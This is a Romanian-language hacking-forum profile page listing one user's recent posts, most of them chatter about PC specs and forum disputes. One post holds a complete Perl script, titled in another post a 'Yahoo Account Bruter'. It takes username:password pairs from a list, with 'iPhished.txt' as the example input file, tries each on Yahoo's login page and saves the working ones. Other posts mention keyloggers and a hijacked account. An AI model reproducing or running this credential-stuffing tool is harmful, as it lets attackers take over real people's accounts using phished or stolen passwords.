Jump to content

Gby

Active Members
  • Posts

    105
  • Joined

  • Last visited

Converted

  • Location
    localhost

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

Gby's Achievements

Newbie

Newbie (1/14)

10

Reputation

  1. XGrowX

    sal imi poti lasa si mie id-ul tau de mess te rog?

  2. Gby

    Pc-ul meu.

    OS : Windows 7 32 bit CPU: 3.00 GHz RAM 3.00 GB DDR 2 HDD: 320 GB Video: 512 mb
  3. Rename : [Perl] Yahoo Account Bruter daca tu crezi ca asta e Blocker te inseli.. asta nu depinde de ala care o facut script-ul ca nu prinzi nimic.. incercari mai sunt
  4. #!/usr/bin/perl #Yahoo! LOGIN SPECS #USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot] #PASSWORD: 6-32 characters, no spaces use HTTP::Cookies; $myCookies = HTTP::Cookies->new(); use LWP::UserAgent; my $ua = LWP::UserAgent->new; $ua->cookie_jar($myCookies); $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4'); push @{$ua->requests_redirectable}, 'POST'; sub usage{ print "[-] yahoo.pl <logins> (loginass format) <results>n"; print "[-] yahoo.pl iPhished.txt thanks.txtn"; die("[!] Incorrect usagen"); } sub yahoo($$){ my $username = $_[0]; my $password = $_[1]; my $url = "https://login.yahoo.com/config/login?login=$username&passwd=$password"; my $login = $ua->get($url); die("[!] Connection errorn") unless ($login->is_success); if($login->content =~ m/<strong>Invalid ID or password.</strong><br> Please try again.</div>/){ return 0; } elsif($login->content =~ m/<body>nIf you are seeing this page, your browser settings prevent you nfrom automatically redirecting to a new URL./){ return 1; } elsif($login->content =~ m/Unable to/){ die("[!] Yahoo killed you!n"); } } if(@ARGV!= 2){ &usage; } else{ my $loginlist = $ARGV[0]; my $resultlist = $ARGV[1]; open("xfile", $loginlist) || die "Couldn't open $loginlistn"; while(my $line = <xfile>){ chomp($line); if($line =~ m/[a-z0-9_.]@yahoo.com(.*?).+){6,32}$/i){ my @details = split(/:/,$line); print "[-] Checking $details[0] : $details[1]t"; if(yahoo($details[0],$details[1])){ print "Successn"; open(LOG,">>$resultlist") || die "Couldn't open $resultlistn"; print LOG "$details[0]:$details[1]n"; close(LOG); } else{ print "Failuren"; } } } }
  5. @dragosxwx , esti prea prost sa stai pe forumul asta cum sa fie un keyllogers intr`o pagina html.. daca era direct link era altceva
  6. @Nytro , nu te mira.. cine a schimbat atunci parola la id-ul " nytro_rst " cand l-ai postat sacali astia care vreau totul pe tava
  7. Man fara suparare.. nu te obliga nimeni sa stai pe forum daca nu iti convine ce se posteaza sau ce nu se posteaza:)
  8. @Robert1995 , de pe un forum de hacking scrie in printscreen si adresa forumului
  9. Nu am auzit de el.. de 1 luna si ceva il stiu numa
  10. Deci asta m-a dat gata cu postarea lui =)) cand am vazut ce a scris am crezut ca pic de pe scaun de ras asa ceva sa nici nu vezi
  11. Gby

    CSS 3.0 Maker

    Folositor Thanks
  12. Gby

    Design sticker

    @edededi , multumesc dar nu stau in bucuresti poate mi`o trimiti prin posta hai ca am glumit la a doua cum vrei tot asa poza cu droguri ?
  13. Ce program ai ? huburi am si eu
×
×
  • Create New...